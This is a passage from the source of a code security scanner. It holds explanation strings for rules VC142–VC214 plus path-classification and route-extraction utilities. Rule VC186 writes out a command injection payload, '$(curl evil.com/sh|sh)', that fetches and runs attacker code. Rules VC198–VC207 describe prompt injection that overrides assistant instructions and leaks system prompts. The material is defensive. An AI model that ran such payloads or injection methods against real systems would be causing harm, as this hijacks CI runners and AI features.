secrets.\",\n VC142: \"A leaked Vercel token deploys arbitrary code to your production sites and reads every environment variable — which contains your other secrets, making this one leak a gateway to all the rest.\",\n VC143: \"The Supabase service_role key bypasses every RLS policy. A leaked key means an attacker reads every user's data, deletes any row, and creates admin accounts at will — full database compromise.\",\n VC144: \"A leaked Vault token is a master key — depending on policies it unlocks database creds, AWS roles, TLS certs, and every other secret your infra depends on. One leak compromises the whole vault.\",\n VC145: \"A leaked Pinecone key lets attackers read or wipe every vector index — exfiltrating embedded user data (often containing PII or business documents) and corrupting your RAG retrieval to inject prompts.\",\n VC146: \"A token in a query string ends up in your reverse proxy logs, your CDN logs, the user's browser history, and the Referer header sent to every third-party tracker on your page — multi-channel credential exposure.\",\n VC147: \"Logging a token writes it to stdout, persists it through your log pipeline (Datadog, Sentry, CloudWatch), and lands it on engineer laptops via tail -f — turning a private value into one shared across your whole observability stack.\",\n VC148: \"Returning secrets in error JSON exposes them to whoever can trigger the error — often unauthenticated callers — and lands them in client-side error tracking like Sentry where they're visible to many engineers.\",\n VC149: \"DefinePlugin and Vite's define inline values directly into the bundled JS at build time. Any 'secret' configured this way ships in the page source for every visitor.\",\n VC150: \"Tokens in <meta> tags or data-* attributes are visible to view-source, browser extensions, search engine crawlers, and the Wayback Machine — effectively public the moment the page loads.\",\n VC151: \"Secrets in command-line arguments show up in ps aux, /proc/*/cmdline, shell history, and audit logs, readable by any other user on the same machine, including unprivileged co-tenants on shared hosts.\",\n VC152: \"Without signature verification, an attacker can POST fake Clerk session events to create admin users, fake GitHub events to trigger deploys, fake Resend events to mark invoices paid — every webhook turns into an unauthenticated mutation endpoint.\",\n VC153: \"Reflecting Origin into Access-Control-Allow-Origin while Allow-Credentials is true is worse than wildcard CORS — browsers will send cookies, so any malicious site reads authenticated responses from your API as the logged-in victim.\",\n VC154: \"Without schema validation, attackers send oversized strings, unexpected types, or nested JSON that triggers crashes, ORM coercion bugs, or injection via fields the code didn't expect.\",\n VC155: \"Without rate limiting on routes that call OpenAI/Anthropic/Cohere, a single malicious user (or a logged-in attacker with a script) can exhaust your monthly LLM budget in minutes — denial of wallet.\",\n VC156: \"An unpaginated list endpoint returns every row to the caller. Once the table grows, a single GET dumps gigabytes, OOMs the server, and exfiltrates the entire user list to anyone who finds the URL.\",\n VC157: \"Prisma Studio or Drizzle Studio in production is a public database admin UI — anyone who finds the URL gets full read/write access to every table with no auth.\",\n VC158: \"A route like /api/orders/:id without an ownership check lets an attacker increment IDs and read every other user's orders, invoices, messages, or files — the most common real-world data breach pattern.\",\n VC159: \"A leaked Cohere API key burns through your tokens budget on attacker-driven inference requests, racking up bills and potentially exposing usage history that reveals customers' prompts.\",\n VC160: \"A leaked Replicate token (r8_*) lets attackers run expensive GPU models — image and video generation can rack up hundreds of dollars per hour billed to your account.\",\n VC161: \"A leaked Mistral API key burns through your inference budget on attacker workloads, with no usage caps you can rely on until the bill arrives.\",\n VC162: \"A leaked Together AI key lets attackers run any open-source model on the platform on your tab — Llama, Mixtral, Stable Diffusion — burning through credits in minutes.\",\n VC163: \"A leaked Groq key (gsk_*) lets attackers run Groq's high-throughput LPU inference at your expense, exhausting credits and rate limits before you notice.\",\n VC164: \"A leaked Fireworks AI key (fw_*) lets attackers run hosted models on your account, racking up per-token charges with no warning.\",\n VC165: \"A leaked Postmark token sends transactional email from your domain — an attacker phishes your real customers from your real sender address, passing every spam filter.\",\n VC166: \"A leaked Resend key (re_*) sends email from your verified domain — phishing campaigns from a real sender address torch your domain reputation and trick customers who trust your emails.\",\n VC167: \"A leaked Loops key exposes your entire customer email list and lets attackers send authorized-looking emails from your domain — a customer-list exfiltration plus phishing weapon in one.\",\n VC168: \"A leaked Cloudflare token, depending on scopes, lets attackers rewrite DNS to point your domain at their server, disable your WAF, or wipe R2 buckets — full traffic and data control.\",\n VC169: \"A leaked Fastly token lets attackers purge your cache (causing origin overload), inject malicious VCL to redirect traffic, or modify how every user's request is served.\",\n VC170: \"A leaked Netlify PAT (nfp_*) deploys arbitrary code to your sites and reads every env var on every site — including secrets for your APIs, databases, and other providers.\",\n VC171: \"A leaked Railway token reads every environment variable across your projects (database URLs, third-party keys), redeploys services with attacker code, and accesses connected databases directly.\",\n VC172: \"A leaked Fly.io token (FlyV1 fm2_*) deploys arbitrary apps in your org, reads and modifies secrets on machines, and gives attackers a foothold inside your private Fly network.\",\n VC173: \"A leaked Algolia admin key replaces every indexed record — attackers swap your search results for SEO spam or phishing links, and create their own scoped keys for persistent access.\",\n VC174: \"A leaked Qdrant key reads and modifies every vector collection — attackers exfiltrate embedded user content and can poison RAG retrieval to inject prompts into AI features.\",\n VC175: \"A leaked Weaviate key gives attackers full access to embeddings and metadata for every indexed document, exfiltrating private content and corrupting search results.\",\n VC176: \"A leaked Linear key (lin_api_*) exposes your private roadmap, customer-reported bugs (often containing reproduction steps for unpatched issues), and internal team conversations.\",\n VC177: \"A leaked Notion integration token (secret_*) reads every page and database the integration touches — typically the most sensitive content in a company: financial models, hiring decisions, security runbooks.\",\n VC178: \"A leaked Discord bot token gives attackers your bot's full identity in every server it's in — they can DM users, mass-spam channels, exfiltrate messages per intent scopes, and ban or kick members.\",\n VC179: \"A leaked Intercom token exposes every customer conversation and contact record — support history, screenshots customers shared, and PII tied to email and company data.\",\n VC180: \"A leaked Sentry token (sntrys_*) exposes captured stack traces and PII from errors, and lets attackers tamper with releases or upload malicious source maps that map errors to attacker-controlled code.\",\n VC181: \"A leaked Better Stack source token lets attackers flood your log retention with junk to mask their activity elsewhere or rack up your ingestion bill.\",\n VC182: \"A leaked Highlight.io key exposes recorded session replays — including any text users typed (passwords, credit cards) that wasn't manually masked, plus full console logs.\",\n VC183: \"A leaked Plivo token enables toll fraud — attackers dial premium-rate numbers and send international SMS billed to your account, often racking up thousands before account locks trigger.\",\n VC184: \"pull_request_target with a checkout of the PR head is the canonical critical CI vulnerability — any forked PR can run code (install scripts, lint hooks, build steps) with your repo's write tokens and every secret in your environment, leading to repo takeover and secret exfiltration.\",\n VC185: \"permissions: write-all gives every step in the workflow full repo, packages, and deployments write access. A single compromised action — direct or transitive — can push commits, alter releases, and steal every secret the job has access to.\",\n VC186: \"A malicious PR title or commit message containing $(curl evil.com/sh|sh) gets executed as shell on your runner with your repo's secrets — same root cause as SQL injection, just in a CI context.\",\n VC187: \"Passing repo secrets via with: hands them to the action's source code and every dependency it pulls. The 2025 tj-actions/changed-files compromise stole CI secrets exactly this way; minimize what you pass and prefer pinning by SHA.\",\n VC188: \"ADD auto-extracts archives and fetches URLs without integrity checks — both are foot-guns. Auto-extraction enables zip-slip; URL fetches break reproducibility and fetch whatever the upstream server hands back, even if compromised.\",\n VC189: \"RUN curl ... | sh executes whatever the upstream server returns at build time — no checksum, no pin. A compromise of the install host (or a subdomain takeover) bakes attacker code into your image with no audit trail.\",\n VC190: \"Without HEALTHCHECK, an orchestrator can't tell that a deadlocked or DB-pool-exhausted container is broken — it stays in the load balancer rotation serving 500s to users until a human notices and intervenes.\",\n VC191: \"verify=False disables TLS validation — anyone on the network path between your server and the upstream can intercept and modify the response, potentially feeding poisoned data into your app or stealing the API key in the request.\",\n VC192: \"Jinja2 with autoescape=False renders user input as raw HTML — any field a user controls becomes a stored XSS vector, executing JavaScript in every other user's browser when the template renders.\",\n VC193: \"tempfile.mktemp() returns a path without creating the file. An attacker with local access can win the race by creating a symlink at that path before your code opens it, redirecting your write to /etc/passwd or any other file your process can write.\",\n VC194: \"mark_safe() with non-literal input tells Django to skip HTML escaping on attacker-influenced content — turning the whole page into stored XSS that runs in every viewer's browser.\",\n VC195: \"AutoAddPolicy silently trusts whatever host key is presented on first connect — an attacker MITM-ing the SSH session presents their own key, gets accepted, and intercepts every command and credential in the session.\",\n VC196: \"ALLOWED_HOSTS = ['*'] disables Host header validation. Attackers craft requests with fake Host headers used in password-reset URLs and cache keys — poisoning password reset emails to point at attacker domains and corrupting CDN caches.\",\n VC197: \"PyJWT decode without an algorithms= allowlist accepts whatever algorithm the token claims, including alg:none. Attackers strip the signature, change the user_id to admin, and the server treats the forged token as valid.\",\n VC198: \"User input concatenated into a model message lets attackers override your assistant's instructions — exfiltrating system prompts, jailbreaking content rules, or hijacking the assistant to act in the attacker's interest within the user's session.\",\n VC199: \"A system prompt is the highest-trust part of an LLM context. Any non-literal data interpolated into it lets attackers modify the assistant's identity, safety rules, or tool boundaries — silently turning your AI feature into theirs.\",\n VC200: \"Models can be prompted to emit <script> tags or javascript: links. Rendering output via dangerouslySetInnerHTML or innerHTML turns prompt injection into ordinary XSS — full session hijack on any user who triggers the attacker-controlled response.\",\n VC201: \"A vector query with no user/tenant filter returns matches from every customer's embedded documents. In a multi-tenant RAG app, User A's question retrieves User B's private docs and the LLM cheerfully reads them aloud — silent cross-tenant data leak.\",\n VC202: \"Inserting embeddings without a user/tenant tag makes per-user filtering at query time impossible — even if you remember to filter on read, there's nothing to filter on. This is the source-side fix for the RAG cross-tenant leak.\",\n VC203: \"An LLM call without max_tokens lets attackers craft inputs that maximize output length, generating expensive responses on every request — denial-of-wallet that drains your monthly budget or trips rate limits for legitimate users.\",\n VC204: \"Without a query depth limit, attackers send 100-level-deep nested queries that explode in resolver and DB cost. The server walks every level, the database does too, and a single crafted query takes the service down.\",\n VC205: \"Even with a depth limit, queries like users(first:1000){posts(first:1000){comments(first:1000)}} are only three levels deep but resolve a billion items. Without complexity analysis, attackers DoS your GraphQL with a single request.\",\n VC206: \"Apollo Server's csrfPrevention guards against cross-site form-style requests against GraphQL mutations. Disabling it lets any website trigger mutations in a logged-in user's browser — buying, deleting, or transferring on the victim's behalf.\",\n VC207: \"Model output is attacker-influenceable via prompt injection. Feeding it into eval, new Function, a shell command, a raw SQL string, or a filesystem path turns a crafted or hallucinated response into remote code execution, command injection, SQL injection, or path traversal — your most dangerous sinks, driven by untrusted text.\",\n VC208: \"Interpolating a secret into a prompt ships your API key, token, or password to a third-party model provider, where it persists in their request logs and training-eligible data. A credential that leaves your infrastructure in prompt text should be considered compromised and rotated.\",\n VC209: \"Webhooks are delivered at-least-once. Without de-duplicating on the event id, a retried or replayed delivery re-runs the side effect — a customer is charged twice, a record is duplicated, or an entitlement is granted again. Stripe and Svix both retry on any non-2xx, so this fires in normal operation, not just under attack.\",\n VC210: \"If your auth middleware skips /api, those routes run with no gate unless each one re-checks auth itself. It is the most common way a Next.js app ends up with publicly callable API routes that everyone assumed the middleware was protecting.\",\n VC211: \"A real credit card number in source is cardholder data sitting in git history, CI logs, and every backup — a direct PCI-DSS violation. Anyone with repo access can read it, and it cannot be un-leaked once committed; the card must be treated as compromised.\",\n VC212: \"A hardcoded Social Security Number is regulated PII permanently embedded in your git history and backups. It exposes a real person to identity theft, and its presence in source can trigger breach-notification and privacy-law obligations the moment the repo is accessed.\",\n VC213: \"Anything read from localStorage belongs to the user, not to you. If a plan, role or permission is read from browser storage and branched on, unlocking the feature takes one line in devtools — no exploit, no tooling, just typing. Every paid tier and admin panel gated this way is open to anyone who opens the console.\",\n VC214: \"Browser storage is per-device and per-profile, so per-account state kept there resets on a fresh login, cleared cookies, a private window or a second machine — and the app greets a long-standing customer as brand new. It is not a security hole, it is a trust one: the product visibly does not remember who you are.\",\n};\n","/**\n * Heuristic for classifying a source file's exposure surface.\n *\n * Used in scan results to label findings as `public`, `internal`, or\n * `unknown` so the UI can prioritize the public-facing ones (a hardcoded\n * key in an API route is much worse than the same key in a config file\n * that never ships to production). Scanners attach this to every finding\n * via a `match.exposure` field.\n *\n * Lives in shared-rules so the web API and the standalone API can't drift\n * apart on what counts as \"public\" vs \"internal\" — historically there\n * were two divergent copies in those two files (different regexes, even\n * different bug fixes shipped at different times). After this\n * consolidation the heuristic has exactly one definition.\n *\n * The categories:\n *\n * - `public` : path looks like it serves end-user traffic\n * (Next.js API routes, Express/Hono routes, Rails\n * controllers, serverless function entrypoints, app-\n * router pages, view templates).\n * - `internal` : path looks like helper / lib code that's reachable\n * from public surfaces but isn't itself a request\n * handler.\n * - `unknown` : everything else (test files, scripts, build output,\n * ambiguous paths). The scanner deliberately doesn't\n * guess here — wrong \"public\" labels are a worse UX\n * than honest \"unknown\".\n *\n * The Next.js `pages/(?!api/)` lookahead is intentionally exact: it\n * excludes only the literal `pages/api/` directory from being\n * double-classified as public-page (it's already public-route on the\n * line above), without wrongly excluding things like `pages/apikey/...`\n * or `pages/admin/...`. (Macroscope #325 / vibecheck-api#4 caught a\n * regression where this lookahead was too permissive.)\n */\nexport type Exposure = \"public\" | \"internal\" | \"unknown\";\n\nexport function classifyExposure(filePath: string): Exposure {\n if (\n /(?:\\/api\\/|pages\\/api\\/|routes?\\/|controllers?\\/|endpoints?\\/|server\\.|app\\/.*route\\.)/.test(\n filePath,\n )\n ) {\n return \"public\";\n }\n if (\n /(?:app\\/.*page\\.|pages\\/(?!api\\/)|views?\\/|templates?\\/)/.test(filePath)\n ) {\n return \"public\";\n }\n if (\n /(?:lib\\/|utils?\\/|helpers?\\/|services?\\/|models?\\/|hooks?\\/)/.test(\n filePath,\n )\n ) {\n return \"internal\";\n }\n if (/(?:middleware|config|constants?)/.test(filePath)) {\n return \"internal\";\n }\n return \"unknown\";\n}\n","/**\n * Cross-file facts a rule cannot learn from the file it is scanning.\n *\n * Rules are deliberately single-file: `check(content, filePath)` sees one file\n * and nothing else. That keeps them fast, order-independent and honest about\n * what they can prove, and it is the right default. But some questions are\n * genuinely answered in a different file, and answering them by guessing from\n * the current one is worse than not answering at all.\n *\n * ProjectContext is the narrow exception: a small set of facts computed ONCE\n * over the whole file list before any rule runs, then handed to every rule.\n * It is intentionally not \"here is every file\" — that would let rules re-parse\n * the project 214 times and quietly become a cross-file analyser, which the\n * roadmap explicitly rules out as an unwinnable race against CodeQL.\n *\n * Every field is optional and every consumer must behave correctly when the\n * context is absent, because most callers (the MCP server, the VS Code\n * extension, single-file scans) have no project to build one from.\n */\n\n/** Parsed facts about the project being scanned. */\nexport interface ProjectContext {\n /**\n * Supabase Edge Functions and whether the PLATFORM verifies a JWT before\n * the function runs, from `supabase/config.toml`. Keyed by function name —\n * the directory under `supabase/functions/`.\n *\n * A missing entry means \"not declared\", which is not the same as false:\n * Supabase's own default is `verify_jwt = true`, but a function absent from\n * config.toml may simply be undeclared, so callers must treat absent as\n * unknown rather than assuming either way.\n */\n supabaseEdgeVerifyJwt?: Map<string, boolean>;\n}\n\n/**\n * `[functions.<name>]` section headers in a TOML file. Supabase also accepts\n * quoted names for functions with characters that need escaping.\n */\nconst TOML_FN_SECTION_RE = /^\\s*\\[functions\\.(?:\"([^\"]+)\"|([A-Za-z0-9._-]+))\\]\\s*$/;\nconst TOML_VERIFY_JWT_RE = /^\\s*verify_jwt\\s*=\\s*(true|false)\\s*(?:#.*)?$/i;\n\n/**\n * Parse `supabase/config.toml` for per-function `verify_jwt` settings.\n *\n * Deliberately a line scanner rather than a TOML parser. Only two constructs\n * matter, adding a TOML dependency to a package that ships in a browser bundle\n * is a poor trade for that, and a malformed config should yield fewer facts\n * rather than an exception during a scan.\n */\nexport function parseSupabaseConfig(toml: string): Map<string, boolean> {\n const out = new Map<string, boolean>();\n let current: string | null = null;\n for (const line of toml.split(/\\r?\\n/)) {\n const section = line.match(TOML_FN_SECTION_RE);\n if (section) {\n current = section[1] ?? section[2];\n continue;\n }\n // Any other section header ends the current [functions.x] block.\n if (/^\\s*\\[/.test(line)) {\n current = null;\n continue;\n }\n if (!current) continue;\n const verify = line.match(TOML_VERIFY_JWT_RE);\n if (verify) out.set(current, verify[1].toLowerCase() === \"true\");\n }\n return out;\n}\n\n/** The function name for a path under `supabase/functions/<name>/…`. */\nexport function supabaseFunctionName(filePath: string): string | null {\n const m = filePath.match(/(?:^|\\/)supabase\\/functions\\/([^/]+)\\//);\n return m ? m[1] : null;\n}\n\n/**\n * Build the context from the files about to be scanned.\n *\n * Cheap by construction: it reads a fixed, tiny set of paths rather than\n * walking content, so adding a fact here costs one more lookup, not another\n * pass over the project.\n */\nexport function buildProjectContext(\n files: Array<{ path: string; content: string }>,\n): ProjectContext {\n const ctx: ProjectContext = {};\n const config = files.find((f) => /(?:^|\\/)supabase\\/config\\.toml$/.test(f.path));\n if (config) {\n const parsed = parseSupabaseConfig(config.content);\n if (parsed.size > 0) ctx.supabaseEdgeVerifyJwt = parsed;\n }\n return ctx;\n}\n","/**\n * APP vs VENDORED path classification.\n *\n * ── Why this exists ────────────────────────────────────────────────────────\n *\n * A 20-repo field study (5 each from Lovable, v0, Bolt and Base44, scanned\n * with the full rule set — 2,961 findings) found four rules firing\n * overwhelmingly on code the app author never wrote:\n *\n * rule sev repos/20 findings vendored mean vendored%\n * VC063 critical 16 20 14 83%\n * VC017 medium 15 35 20 79%\n * VC007 high 17 46 26 69%\n * ENTROPY high 15 286 208 66%\n *\n * The tell is that the hits are byte-identical at identical line numbers\n * across unrelated repos: `components/ui/chart.tsx:81`, `sidebar.tsx:87`.\n * That is the signature of scaffold code, not of authored vulnerabilities.\n * Every one of these builders copies shadcn/ui verbatim into the project\n * (49–63 primitives per repo), and shadcn's `ChartStyle` legitimately writes\n * CSS custom properties into a `<style dangerouslySetInnerHTML>`.\n *\n * A further 458 findings in the same sweep fired inside markdown — rules\n * matching prose and example code in READMEs and docs.\n *\n * VC063 is the worst of these because it is `critical`, and `calculateGrade`\n * caps a project at D for a single critical. It is also a free-tier rule, so\n * a Lovable user's first contact with the product was an \"F — critical XSS\"\n * on a library file they did not author.\n *\n * ── Why classification and not per-rule suppression ────────────────────────\n *\n * A per-rule fix for VC063 was written and reverted (2026-07-27): genuine\n * shadcn `ChartStyle` *does* interpolate React props, so no file-local rule\n * can stay silent on shadcn while still firing on a `<style>` whose `__html`\n * comes from a prop. Every attempt to encode \"this particular `<style>` is\n * safe\" ended up spoofable from inside the scanned file. The distinguishing\n * fact is not in the code — it is *whose* code it is. So classify the file.\n *\n * ── What it does and does not do ───────────────────────────────────────────\n *\n * Vendored findings are still detected, still reported, and still shown. They\n * are excluded from `calculateGrade` only, and every surface that shows a\n * grade also shows how many findings were held out. Nothing is silently\n * dropped — that distinction is the whole point.\n *\n * ── Trust model ────────────────────────────────────────────────────────────\n *\n * This is path-based, and the paths come from the repository being scanned —\n * i.e. from the same person reading the report. It is the trust model the\n * product already ships with `.xploitscanignore`: you can always tell a tool\n * scanning your own code to ignore your own code. There is no external\n * attacker in this model, because there is no third party whose grade you can\n * influence by naming your own files.\n *\n * Two consequences are handled explicitly rather than assumed away:\n *\n * 1. A user who puts genuinely-authored code under `components/ui/` gets it\n * held out of the grade. That is a real cost, accepted knowingly: the\n * finding is still reported, and the held-out count is on-screen.\n * 2. Because a grade can be published (Trust Pages), the held-out count\n * travels with the grade everywhere the grade travels. A grade that\n * excluded findings can never render as though it excluded none.\n *\n * The classifier itself resolves `.`/`..` before matching, so a path cannot\n * claim a vendored prefix and then climb back out of it\n * (`src/components/ui/../../server/auth.ts` classifies as app code).\n */\n\n/**\n * Paths whose findings are not attributable to the code the app author wrote.\n *\n * gitignore-style patterns; see `globToRegExp` for the supported subset. The\n * list is empirical, not guessed — it comes from the FP sweep described above.\n *\n * Four families:\n *\n * 1. VENDORED UI PRIMITIVES — shadcn/ui and friends, copied verbatim into the\n * project by the builder. `components/ui/chart.tsx` and `sidebar.tsx` alone\n * account for the VC063 / VC007 / VC017 clusters.\n * 2. DOCUMENTATION — markdown and MDX. The sweep's 458 markdown findings were\n * rules matching example code inside docs, not deployed code. Note this\n * holdout does not weaken secret detection in markdown one way or the\n * other: the secret rules already decline to run on `.md` (VC001 bails on\n * `/\\.(md|txt|rst|adoc)$/`, `secretRuleCheck` gates on SECRET_FILE_EXT, and\n * the entropy scanner's SKIP_FILES covers `md`), so there is nothing here\n * for the grade to hold out. Whether that's the right call for READMEs is a\n * separate question from this one, and unchanged by it.\n * 3. AGENT / EDITOR ARTIFACTS — committed AI-assistant scratch state. One repo\n * in the sweep contributed 164 of the corpus's 286 entropy findings from a\n * single committed LLM-benchmark result set under `.agent/skills/`.\n * 4. EXPLICITLY THIRD-PARTY OR MACHINE-GENERATED TREES — the path names below\n * only ever mean \"not hand-written here\".\n */\nexport const NON_APP_PATH_PATTERNS: readonly string[] = [\n // 1. vendored UI component libraries\n \"**/components/ui/**\",\n \"**/ui/shadcn/**\",\n \"**/shadcn/ui/**\",\n \"**/shadcn/**\",\n // 2. documentation prose\n \"**/*.md\",\n \"**/*.mdx\",\n // 3. AI-agent and editor tooling artifacts. Each gets a `**/`-prefixed form\n // as well as the root-anchored one: these directories turn up per-package\n // in a monorepo, and a finding's `file` is occasionally an absolute path,\n // which makes even a repo-root `.claude/` a nested segment.\n \".claude/**\",\n \".agent/**\",\n // Plural too. `.agent/**` alone let `.agents/skills/**` through as app code,\n // and agent scaffolds ship .tsx templates — so every rule fired on somebody\n // else's boilerplate. Found 2026-09-15 while specifying the unwired-control\n // check, which produced 4 accusations against one such template.\n \".agents/**\",\n \".cursor/**\",\n \".superpowers/**\",\n \".windsurf/**\",\n \"**/.claude/**\",\n \"**/.agent/**\",\n \"**/.agents/**\",\n \"**/.cursor/**\",\n \"**/.superpowers/**\",\n \"**/.windsurf/**\",\n // 4. explicitly third-party or machine-generated trees\n \"**/vendor/**\",\n \"**/vendored/**\",\n \"**/third_party/**\",\n \"**/generated/**\",\n \"**/__generated__/**\",\n];\n\n/**\n * Compile one gitignore-style pattern to an anchored RegExp.\n *\n * Deliberately a strict subset of gitignore syntax — enough for\n * `NON_APP_PATH_PATTERNS` and nothing more, so there is no negation,\n * no character class, and no partial-match surprise to reason about:\n *\n * `**` as a whole segment, non-final → zero or more path segments\n * `**` as a whole segment, final → one or more path segments\n * `*` inside a segment → any run of characters except `/`\n * anything else → literal\n *\n * A pattern that does not start with `**` is anchored at the repo root, which\n * is what gitignore does and what `.claude/**` relies on.\n */\nfunction globToRegExp(pattern: string): RegExp {\n const segments = pattern.split(\"/\");\n let src = \"^\";\n for (let i = 0; i < segments.length; i++) {\n const seg = segments[i];\n const isLast = i === segments.length - 1;\n if (seg === \"**\") {\n // Trailing `**` requires at least one segment below it, so the pattern\n // `**/generated/**` matches files *inside* `generated/`, never a file\n // that merely happens to be named `generated`.\n src += isLast ? \".+\" : \"(?:[^/]+/)*\";\n continue;\n }\n src += seg.replace(/[.*+?^${}()|[\\]\\\\]/g, (ch) => (ch === \"*\" ? \"[^/]*\" : \"\\\\\" + ch));\n if (!isLast) src += \"/\";\n }\n // Case-insensitive on purpose. `components/UI/` and `Components/ui/` are the\n // same directory on macOS and Windows, so a case-sensitive matcher would\n // classify the identical repository differently depending on where it was\n // checked out — and would quietly leave the shadcn false positives in place\n // for every project that capitalises its component directory.\n return new RegExp(src + \"$\", \"i\");\n}\n\nconst NON_APP_MATCHERS = NON_APP_PATH_PATTERNS.map(globToRegExp);\n\n/**\n * Reduce a scanner-reported path to a repo-relative, dot-segment-free form.\n *\n * Resolving `.`/`..` *before* matching is load-bearing, not cosmetic: without\n * it, `src/components/ui/../../server/auth.ts` would match the\n * `components/ui/**` pattern while actually naming a file in `server/`.\n * Windows separators and drive letters are normalised for the same reason.\n */\nexport function normalizeScanPath(filePath: string): string {\n const raw = typeof filePath === \"string\" ? filePath : \"\";\n const trimmed = raw.trim();\n // Backslash is a separator on Windows and a perfectly legal character in a\n // POSIX filename. Translating it unconditionally would let a single file\n // named `components\\ui\\evil.tsx` claim a vendored directory that doesn't\n // exist. Only treat it as a separator when the path has no forward slashes\n // at all, i.e. when it is unambiguously a Windows path.\n const looksWindows = !trimmed.includes(\"/\") && trimmed.includes(\"\\\\\");\n const withForwardSlashes = (looksWindows ? trimmed.replace(/\\\\/g, \"/\") : trimmed)\n .replace(/^[A-Za-z]:\\//, \"/\");\n const out: string[] = [];\n for (const segment of withForwardSlashes.split(\"/\")) {\n if (segment === \"\" || segment === \".\") continue;\n if (segment === \"..\") {\n // Popping a real segment resolves the traversal. A `..` with nothing to\n // pop is kept verbatim so it stays an ordinary segment rather than\n // silently vanishing.\n if (out.length > 0 && out[out.length - 1] !== \"..\") out.pop();\n else out.push(\"..\");\n continue;\n }\n out.push(segment);\n }\n return out.join(\"/\");\n}\n\n/** True when a repo-relative path belongs to the vendored / non-app bucket. */\nexport function isVendoredPath(filePath: string): boolean {\n const normalized = normalizeScanPath(filePath);\n if (!normalized) return false;\n return NON_APP_MATCHERS.some((re) => re.test(normalized));\n}\n\n/**\n * The heuristic secret detector, excluded from the always-graded carve-out\n * below. ENTROPY says \"this string looks random\", not \"this is a credential\" —\n * and it was the single noisiest rule in the vendored bucket (208 of 286\n * firings, 164 of them from one committed LLM-benchmark result set under\n * `.agent/skills/`). A confirmed provider-key match is a different claim and\n * gets different treatment.\n */\nconst HEURISTIC_SECRET_RULES = new Set([\"ENTROPY\"]);\n\n/**\n * Rules that detect a committed credential but don't sit in the `Secrets`\n * category, so the category test below would miss them.\n *\n * VC115 — a Kubernetes `kind: Secret` manifest with plain base64 payload.\n * Filed under Infrastructure, and it lands squarely in the vendored\n * bucket in practice: `helm template` / `kustomize build` output is\n * routinely committed under `generated/`.\n * VC062 — a hardcoded encryption key or IV. Filed under Cryptography, but\n * the key material is in the file either way.\n *\n * Kept short and justified per entry. Everything else that reads\n * credential-adjacent (VC013 Supabase *anon* key misuse, VC045 weak password\n * policy, VC043 timing-unsafe compare, VC208 secret interpolated into a\n * prompt) is a code pattern rather than a committed credential, and follows\n * the normal vendored rule.\n */\nconst ALWAYS_GRADED_RULES = new Set([\"VC115\", \"VC062\"]);\n\n/**\n * True when a finding must be graded no matter where it lives.\n *\n * A committed credential is live regardless of which directory holds it. \"Not\n * my code\" is a true statement about a shadcn primitive and a meaningless one\n * about a service-role key sitting in `__generated__/client.ts` — the key is\n * in the repo, it is the author's leak, and holding it out of the grade would\n * be a worse failure than the false positives this module exists to fix.\n *\n * Keyed primarily on category rather than a rule-ID allowlist so the ~59\n * provider-key rules (VC132, VC133–VC151, VC159–VC183, and every one added\n * after this comment) are covered automatically instead of going stale on the\n * next batch.\n */\nfunction isAlwaysGraded(finding: { rule?: string; category?: string }): boolean {\n const rule = finding?.rule ?? \"\";\n if (ALWAYS_GRADED_RULES.has(rule)) return true;\n if (finding?.category !== \"Secrets\") return false;\n return !HEURISTIC_SECRET_RULES.has(rule);\n}\n\n/**\n * True when a finding should be reported but held out of the grade.\n *\n * Derived from `finding.file` every time, on purpose. `Finding.vendored` is an\n * advisory label for renderers; it is never the input to a scoring decision,\n * so a finding object that arrives over the wire with `vendored: true` cannot\n * talk `calculateGrade` out of counting it.\n */\nexport function isVendoredFinding(finding: { file?: string; rule?: string; category?: string }): boolean {\n if (isAlwaysGraded(finding)) return false;\n return isVendoredPath(finding?.file ?? \"\");\n}\n\n/**\n * Human-readable reason a path was held out, for tooltips and `--verbose`.\n * Returns null for app code.\n */\nexport function vendoredReason(filePath: string): string | null {\n const normalized = normalizeScanPath(filePath);\n if (!normalized) return null;\n if (/\\.mdx?$/.test(normalized)) return \"documentation\";\n if (/(^|\\/)(components\\/ui|shadcn)(\\/|$)/.test(normalized)) return \"vendored UI component library\";\n if (/(^|\\/)\\.(claude|agent|cursor|superpowers|windsurf)(\\/|$)/.test(normalized)) return \"AI-agent tooling artifact\";\n if (isVendoredPath(normalized)) return \"third-party or generated code\";\n return null;\n}\n","/**\n * Route-table extraction — what URL, if any, reaches a given source file.\n *\n * WHY A SCANNER WANTS THIS. Severity is not a property of a line of code, it is\n * a property of who can reach it. A hardcoded secret in\n * `src/app/api/webhooks/stripe/route.ts` is reachable by anyone who can send a\n * POST; the same secret in a build script is not reachable at all. Nothing in\n * the finding itself carries that distinction, and a scanner that only reads\n * files cannot invent it.\n *\n * Attaching a route to a finding turns \"hardcoded secret in a file you have to\n * go look up\" into \"hardcoded secret reachable at POST /api/webhooks/stripe\".\n *\n * EVERY GATE BELOW EXISTS BECAUSE IT FIRED. Measured against real repositories:\n *\n * - `src/pages/*.tsx` is NOT Next routing in a Vite app. Lovable, Bolt and\n * Base44 ship a plain `src/pages/` component folder; matching it invented\n * 38 phantom routes in one repo, with case-duplicate pairs (/about AND\n * /About) and entries like /Index and /NotFound that do not exist.\n * - A config file is not a dependency. That same repo carries a stray unused\n * `next.config.js` with no `next` in package.json; trusting the file\n * re-invented all 38.\n * - `app.get(\"/download\", ...)` inside THIS repo's own rule-override examples\n * produced phantom Express routes in a package with no express dependency.\n * A scanner scanning a scanner finds \"routes\" in its documentation samples.\n * - The homepage went missing from every Next project using `src/`: the\n * pattern required `app/<seg>/page.tsx` or a TOP-LEVEL `app/page.tsx`, so\n * nested `src/app/page.tsx` matched neither and \"/\" — the single most\n * important route in any app — was silently absent.\n *\n * A phantom route is worse than a missing one: it attaches a confident, wrong\n * URL to a real finding. Hence every framework's conventions are gated on that\n * framework actually being a declared dependency.\n *\n * Accuracy at the time of writing, against hand-counted ground truth:\n * Next App Router (this repo's web package) 135/135, \"/\" included\n * React Router (a Lovable app) 40/40, 0 missed, 0 extra\n * TanStack Start (a Lovable app) 6/6\n * Flask (a Python dashboard) 53/53\n */\n\nexport type RouteFramework =\n | \"next-app\"\n | \"next-pages\"\n | \"react-router\"\n | \"tanstack-router\"\n | \"flask-fastapi\"\n | \"express\";\n\nexport interface AppRoute {\n /** URL path, e.g. \"/api/webhooks/stripe\". */\n path: string;\n /** `api` is a data endpoint; `page` renders a document. */\n kind: \"page\" | \"api\";\n /** Contains a parameter segment, so it cannot be fetched without a value. */\n dynamic: boolean;\n framework: RouteFramework;\n /** Repo-relative file that declares it. */\n source: string;\n}\n\nexport interface RouteTable {\n frameworks: RouteFramework[];\n routes: AppRoute[];\n}\n\ninterface SourceFile {\n path: string;\n content: string;\n}\n\nconst API_RE = 